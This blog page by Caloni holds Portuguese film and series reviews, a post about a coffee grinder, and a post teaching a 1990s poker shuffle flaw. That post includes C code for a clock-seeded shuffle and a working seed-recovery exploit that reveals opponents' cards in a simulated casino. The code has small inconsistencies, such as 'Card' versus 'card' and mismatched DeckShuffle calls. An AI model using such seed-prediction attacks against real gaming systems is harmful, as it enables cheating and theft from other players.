# A Sun

Caloni, 2021-02-15 cinema movies [up] [copy]

Depois que acabou o filme minha esposa pergunta o que eu achei e eu pergunto "que filme", tinha esquecido o ocorrido de duas horas e meia. O diretor gosta de fazer cena aérea e com detalhes do cenário sem relação com a história. Não pesquisei, mas deve ser um webmillenial. Os pais disseram que ele podia ser tudo na vida e o desgraçado escolhe diretor de cinema.

Mas não vamos culpar apenas um diretor pelo estado terminal da arte. É difícil saber para onde ela está indo e a única certeza é que pra frente é que não é. Essa confusão de sentimentos e sensações junto de técnica e estilo gera os filmes de arte mais estranhos que você já viu. Eles não têm um ponto a ser defendido. Eles não alimentam um universo criativo autossuficiente. Ele é cinema de transição. São os comerciais, o intervalo, da sétima arte.

Aqui a história é sobre um moleque, filho caçula da família que vamos acompanhar. Esse danado leva o suposto amigo para o local onde está uma pessoa cuja mão é decepada pelo amigo. Ambos são presos. Enquanto ele não é solto acompanhamos o irmão mais velho. Que se mata. Antes disso ele diz algo pra sua ficante, que aliás entrega o título internacional do filme, que deseja falar sobre as injustiças do mundo e o sofrimento de uma família, e como o sol é a única coisa justa no mundo. Tudo muito interessante, mas tem um diretor no meio do caminho.

Mas nem tudo é apenas caos e técnica. Alguns traços de estilo de Mong-Hong Chung ou do roteirista se revelam frescos. Principalmente o humor. O pai dos garotos começa a fazer um discurso desses de final de filme para a classe de alunos da auto-escola onde é instrutor. Ele fala sobre a vida, sobre seu filho, a câmera se aproxima até ser lembrado que as pessoas precisam ir pra casa. Não é hilário, mas é um traço.

Esse drama fica dando voltas. Até que o pai fala algo para a mãe e ela começa a chorar freneticamente. Isso gera a capa do filme. Mas não o sentido. O filme mesmo não tem sentido. É filme de arte, gente. E os pais do diretor disseram que ele é capaz. Então ele é.


# Dororo

Caloni, 2021-02-15 cinema animes [up] [copy]

Originalmente um mangá da década de 60, este remake animado mantém alguns aspectos brutais deste drama em contexto histórico com muita instabilidade política, violência e extrema pobreza. Estes elementos são piorados ou representados pelas figuras de monstros e demônios habitando o Japão durante o declínio de seu sistema feudal, guerra civil e, portanto, tempos de incerteza.

Os traços são absurdamente estilizados na empolgante introdução, embalada por uma música moderna. Esta arte é vista apenas em detalhes eventuais nos traços principais, mais acessível ao público. O uso de cores como representação é um dos pontos fortes, como o vermelho sangue para coisas ruins.

A narração conta uma história episódica (o monstro do dia) que evolui aos poucos para o reencontro entre os pais de uma criança defeituosa abandonada após o parto que vira um ronin sem destino que enxerga a alma dos seres viventes e combate monstros por onde passa. A metáfora de um Japão cheio de defeitos em busca de uma versão melhorada não poderia ser mais óbvia, e ao mesmo tempo o pano de fundo de novela mexicana.

A ação do anime não empolga, assim como sua história. Se trata de um épico, mais solene. Lembra as lendas japonesa pelas quais obras mais acessíveis ao Ocidente, como O Tigre e o Dragão, foram criadas, mas ao mesmo tempo a presença da garota título nos remete a um tom mais infanto-juvenil. A mescla de gêneros e público-alvo não é ruim. Instiga pela novidade, embora não seja algo completamente novo. Mas é fresco o suficiente para evocar admiração, comercial o suficiente para pessoas normais acompanharem, jovens ou velhas.

Poderia conter um núcleo mais coeso e enxuto. O apelo comercial estende a história para 24 episódios no momento. Há alguns bons momentos, no entanto. O problema é que eles não são memoráveis justamente por conta de todo o resto gerando ruído. A mensagem moral mais perene da série é se vale a pena sacrificar um ser humano para que todos vivam melhor, um ataque sutil ao socialismo que vejo com bons olhos frente ao nosso declínio da moral ocidental.


# Uma Breve História Sobre Preconceito (e Café)

Caloni, 2021-02-15 coffee [up] [copy]

Eu me lembro de vídeos antigos de moedores de café manuais em que o sujeito fica 10 minutos no YouTube girando aquela matraca até conseguir tirar de alguns grãos de café o pó para seu cafezinho matinal. Fiquei com a impressão de que todo moedor manual era assim e desisti na hora de ter um, optando por um elétrico.

Alguns anos depois o motor do meu moedor elétrico dá pau. Eu não sei o que é e ele não me deixa saber. A montagem é feita de tal forma que fica difícil arrancar o motor e a ignição para saber em que lugar é o problema. Depois de algumas horas analisando condutividade dos cabos desisto e parto para buscar um substituto, e rápido, pois estou com um estoque considerável de alguns quilos de grãos em casa.

Dólar subiu, quase não existem moedores nacionais e os que existem usam a tabela de fora. Ou seja, agora os preços dos moedores elétricos que havia pesquisado mais que dobraram de preço. Chateado de ter perdido o moedor tão cedo, começo a namorar a ideia de ter um manual novamente. Vejo novos vídeos que me apresentam a evidência de que alguns costumam demorar 40 segundos de moagem manual para o café matinal. Interessante.

Decido arriscar pelo moedor de entrada disponível rapidamente em qualquer loja online para entrega imediata. Se trata de um Hario Slim, um dos três modelos disponíveis desta fabricante de filtros que popularizou a ideia hipster de que há uma maneira adequada de passar o café e que essa maneira deixa fluir o líquido e o ar quente subindo em espiral, analisada por samurais por milhares de anos. Enfim, eles conseguiram uma parcela do mercado de hipsters para acreditar nessa psicologia barata para consumidores com dinheiro.

O moedor deles é bom, de moinho, e de cerâmica (não enferruja) e emperra um pouco em alguns momentos. Chegando em casa decido testar uma moagem fina, apenas três níveis acima do fechamento completo do moinho. O resultado foi um pó de café incrivelmente consistente, inacreditavelmente melhor, inclusive, do que os resultados que obtinha com o meu antigo elétrico.

Claro que nem tudo são flores. Essa moagem fina demorou alguns minutos de esforço físico para girar a matraca. Nada extenuante, no entanto. É praticamente o tempo que espero a água esquentar antes de passar o café. Fora que não uso moagem tão fina no dia-a-dia.

Eu achei que ia ser só um quebra galho até encomendar outro elétrico na gringa. Porém, o sabor do café ficou absurdamente melhor! E o pior é que eu não tenho certeza do porquê. Há duas explicações possíveis. A mais esotérica é que moedores elétricos ou com moinho de metal deixam o sabor mais "metálico", o que me pareceu mais um golpe psicológico de marketing digno da Hario, que já vende um coador comum como se fosse mágico. A mais convincente para mim foi de que a qualidade do moinho de cerâmica faz o grão moído muito mais simétrico e consistente, ou pelo menos a moagem gera menos daqueles pozinhos que pegam estática e "sujam o café final". De qualquer forma, assim que é moído o café exala um aroma absurdo de vivo, melhor do que eu tinha com o elétrico, e o sabor é bem mais complexo.

Espero que não seja um golpe psicológico que estou sofrendo e que isso se mantenha por mais tempo, pois a moral da história é que o mesmo grão que antes estava sendo moído eletricamente ficou mais equilibrado com o moedor manual. Mordi a língua ao falar mal dos manuais alguns anos atrás. Existem alguns que de fato são muito bacanas. Caros, pois são hipsters, mas bacanas. Para quem faz um café individual matinal pode ser uma escolha interessante, portátil e menos barulhenta.


# Lupin

Caloni, 2021-02-19 cinema series [up] [copy]

Cuidado com essa minissérie, que de mini não tem nada. Ela apresenta em quatro horas uma história que não termina, o que vem se tornando um padrão em streaming. Vá assistir dois filmes lançados antes de 2010 que você ganha mais.

Ela conta a história do ladrão literário misterioso cheio de artimanhas em uma adaptação Netflix, o que quer dizer obviamente que o herói será negro e vítima de racismo velado.

Ele é Omar Sy, que anda no automático em um roteiro que desmere o personagem e os fãs do ótimo ator (Chocolate, Intocáveis). O personagem porque a trama é fraca, bobinha e serve apenas para entreter quem já não está prestando atenção no que passa na TV, e o ator porque este papel requer apenas alguém no piloto automático.

Há alguns altos e baixos pelos capítulos, mas nada marcante. A direção piegas de George Kay, que pensa estar filmando um Ocean's Eleven da vida, nunca nos traz conforto visual. É uma bagunça burocrática que se transforma em 4 horas de sua vida perdida no sofá.


# Soulmates

Caloni, 2021-02-19 cinema series [up] [copy]

A premissa dessa série é que no futuro haverá um Tinder mágico que dirá quando houver um match entre duas pessoas feitas uma para a outra. Já existem séries parecidas, mas a diferença aqui é que as histórias individuais de cada episódio exploram o que acontece quando a situação está longe de ser perfeita para que um casal seja formado.

Futurista, mas bem pouco. O único traço constante são os celulares transparentes. Alguém na produção quis muito que isso fizesse parte do futuro.

A direção é competente, mas no último episódio é mais, pois se trata de uma história difícil de ser desenvolvida sem a sensibilidade dos detalhes de seus personagens. Você poderia dizer que o elenco é bom, mas não é isso que determina o sucesso deste episódio, que confia em um thriller dramático manjado justamente porque sabe que o espectador mais atento irá captar aqueles detalhes sutis que só quem está interessado em uma série um pouco acima da média. E uma vez que ele perceba o conteúdo fica melhor.

Claro que a série está infestada dos valores viventes nessa pseudo-revolução forçada que nossa sociedade está sofrendo sem nem entender seus motivos reais exceto manipulação corporativa. Feminismo, relações não-monogâmicas, o amor vencendo a religião extremista. Tudo isso cheira a décadas passadas hoje em dia, mas os serviços de streaming estão cada vez mais massificados, e este é um conteúdo visto pelo espectador médio (e de classe média) como algo impactante, engajado e todos os buzzwords que ele aprendeu a reconhecer como algo que ele deve defender, mesmo sem entender por que.


# The Great Passage (Fune Wo Amu)

Caloni, 2021-02-19 cinema animes cinema series [up] [copy]

Um anime sobre dicionários. Esse é o nível de riqueza dos assuntos das animações japonesas.

Não só isso, mas a riqueza de detalhes também. Esta animação possui traços de cenário que nos faz prestar atenção além do esperado nas imperfeições de uma parede ou um móvel de madeira. Como os sinais de envelhecimento de uma casa onde um jovem introvertido mora com sua idosa e simpática senhoria.

Ele descobre que nasceu para fazer dicionários e entra em um novo projeto para fazer um, estimado em dez anos de trabalho. Detalhes são compartilhados com o espectador como algo fascinante.

E de fato é. O uso das palavras assume dimensões sagradas em uma história apaixonante.


# Lessons From Online Poker Exploit

Caloni, 2021-02-26 computer [up] [copy]

Em 2014 eu palestrei na trilha de segurança do TDC em São Paulo um tema que me deixou muito animado: um exploit baseado em falhas de programação em um código de 10 linhas. O código era tão simples que achei válido traduzir para C e demonstrar como atacar uma simulação de cassino online.

Esta palestra (e o código) se perdeu no tempo, mas eu anotei o nome da pesquisadora que escreveu o post pelo qual me baseei: Laura Diane Hamilton (que também estuda Machine Learning em seu blog). Seu post comenta sobre uma história de 1990 quando hackers se aproveitaram de falhas básicas no algoritmo de embaralhamento de cartas de pôquer.

O código original estava escrito em Pascal, mas é facilmente traduzido para C:

   unsigned char Card[52];
   unsigned char CurrentCard = 0;
   unsigned char JustShuffled = 0;
   
   void DeckShuffle()
   {
     unsigned char ctr;
     unsigned char tmp;
     unsigned char random_number;
   
     /* Fill the deck with unique cards */
     for( ctr = 0; ctr < 52; ctr++ )
       Card[ctr] = ctr + 1;
     /* Generate a new seed based on the system clock */
     srand(time(NULL));
     /* Randomly rearrange each card */
     for( ctr = 0; ctr < 52; ctr++ )
     {
       random_number = rand() % 51;
       tmp = card[random_number];
       card[random_number] = card[ctr];
       card[ctr] = tmp;
     }
     CurrentCard = 0;
     JustShuffled = 1;
   }

Fiz um código para compilar e rodar o embaralhador de cartas que embaralha e imprime a saída em cada nova execução para podermos observar mais facilmente os bugs encontrados por Hamilton. A falha número 1, o "An Off-by-One Error", pode ser feita em C também, se você usar a função rand() da maneira como está no código:

   random_number = rand() % 51;

É um erro simples de ser cometido por programadores incautos, que querem expressar na verdade a obtenção de um número aleatório entre 1 e 52 e ao mesmo tempo obter o índice correto 0-based de um array. No entanto, o resto de uma divisão por N sempre irá cair entre 0 e N-1, já obtendo o índice correto em C.

   random_number = rand() % 52;

Para observar o que Hamilton quer dizer com "a 52a. carta nunca irá cair na 52a. posição" é possível forçar um loop nesse estilo:

   /* call only once in main */
   srand(time(NULL));
   do
   {
     DeckShuffle();
   }
   while( Card[51] != 52 );

Este loop nunca irá terminar. Faça o teste. Depois compare com a rapidez com que o loop encontra a carta 52 em qualquer outra posição.

A segunda falha, "The Shuffle Isn't Uniform", diz respeito à distribuição não-uniforme da igual probabilidade de certas cartas estarem em qualquer posição da pilha. Da maneira com que é implementado o algoritmo essa distribuição é enviesada. Temos como provar isso atribuindo pesos a cada embaralhada e depois de um certo tempo exibir os totais:

   int CardStats[52];
   int j, j2;
   for( j = 0; j < 1000; ++j )
   {
     for( j2 = 0; j2 < 1000; ++j2 )
     {
       DeckShuffle();
       for( i = 0; i < 52; ++i )
         if( Card[i] == i+1 )
           CardStats[i]++;
     }
   }
   printf("cards stats: \n");
   for( i = 0; i < 52; ++i )
   {
     printf("%d ", CardStats[i]);
   }

A versão original do algoritmo rodando um milhão de vezes demonstra o viés de forma descarada:

   cards stats:
   19270 18869 18685 18442 
   18348 18024 18119 17647 
   17612 17388 17661 17360 
   17183 17018 17176 16621 
   16705 16522 16337 16599 
   16499 16238 16315 15970 
   16294 16388 16294 16418 
   16463 16313 16462 16491 
   16450 16384 16674 16736 
   16577 16879 16933 17159 
   17417 17344 17672 18025 
   17883 18053 18107 18691 
   19042 19152 19559 0

Com a correção desse viés (e do bug da 52a. carta) aplicada:

   random_number = rand() % (ctr - 52) + ctr;

O resultado se torna muito mais uniforme:

   cards stats:
   19116 19035 19371 19328 
   19293 19327 19308 19277 
   19412 19231 19314 19192 
   19200 19229 19461 19398 
   19299 19314 19452 19291 
   19329 19003 19354 19282 
   19319 19237 19255 19149 
   19321 19291 19123 19266 
   19237 19443 19355 19318 
   19321 19127 19147 19277 
   19250 19307 19353 19169 
   19047 19225 19310 19297 
   19298 19423 19370 19213

No entanto, o pior bug talvez seja a união entre a terceira e a quarta falhas apontadas pela pesquisadora: "Using a 32-bit Seed" + "Using the System Clock as a Seed". Com esses dois unidos o hackerismo fica à solta, pois além das possibilidades de embaralhamento ficarem restritas em 2^32 o uso do clock limita em 86,400,000 milissegundos por dia da função random do Pascal. Em C poderia ser feito algo semelhante.

Um range muito específico de geração da semente do gerador de números aleatórios pode criar uma tabela maleável de possibilidades. Com isso em mãos, de acordo com Hamilton, uma vez que o atacante saiba pelo menos cinco cartas é possível fazer uma busca rápida em um range pequeno possibilidades. Em um jogo de pôquer isso é possível apenas com duas cartas em sua mão e as três cartas na mesa (flop).

Com base nesse comportamento vamos criar um exploit que recebe as três cartas do flop fornecidas pelo atacante que está no jogo e que inicia uma busca a partir do horário atual para trás. Conforme o programa encontra matches dessas três cartas juntas ele exibe o deck completo de cartas, a partir do qual o atacante pode verificar se suas cartas constam na distribuição.

   time(&curr_time);
   printf("how is the flop? ");
   scanf("%d %d %d", &flop1, &flop2, &flop3);
   while( 1 )
   {
     DeckShuffle(curr_time);
     if( Card[0] == flop1 && Card[1] == flop2 && Card[2] == flop3 )
     {
       printf("%d: ", (int) curr_time);
       for( i = 0; i < 52; ++i )
       {
         printf("%d ", Card[i]);
       }
       printf("\n");
     }
     curr_time--;
   }

Por sua vez o cassino rodará o algoritmo bugado que já vimos. Para simplificar ele já pergunta para o jogador #2 se ele sabe quais são as cartas do jogador #1. Se ele não souber o programa diz ser ainda seguro, mas se acertar isso é revelado.

   DeckShuffle();

   printf("(for you) your cards, player#%d: %d %d\n", 
     player, Card[3 + (player-1) * 2], Card[3 + (player-1) * 2 + 1]);
   printf("(for all) flop: %d %d %d\n", Card[0], Card[1], Card[2]);
   player1_card1 = Card[3];
   player1_card2 = Card[4];

   printf("do you know which cards have player #1? ");
   scanf("%d %d", &player1_guess1, &player1_guess2);
   if( player1_guess1 == player1_card1 
     && player1_guess2 == player1_card2 )
   {
     printf("acerto, miseravi!\n");
   }
   else
   {
     printf("no no no, I am still secure!\n");
   }

Para rodar os programas basta iniciar o cassino e copiar as cartas do flop. Em seguida rodar o exploit e colar o flop. A partir daí ele começa a calcular e quando houver um deck em que aparecem as suas cartas copiar e colar as cartas do adversário, ou seja, o jogador #1, que são as cartas logo depois do flop.

   >cassino.exe
   (for you) your cards, player#2: 1 21
   (for all) flop: 9 22 15
   do you know which cards have player #1?
   
   >cassino_exploit.exe
   how is the flop? 9 22 15
   1614385852: 9 22 15 6 12 1 21 14 ...
   1614222117: 9 22 15 4 36 16 25 5 ...
   1613983918: 9 22 15 32 31 14 16 ...
   ^C
   
   (for you) your cards, player#2: 1 21
   (for all) flop: 9 22 15
   do you know which cards have player #1? 6 12
   acerto, miseravi!

[2021-01] [2021-03]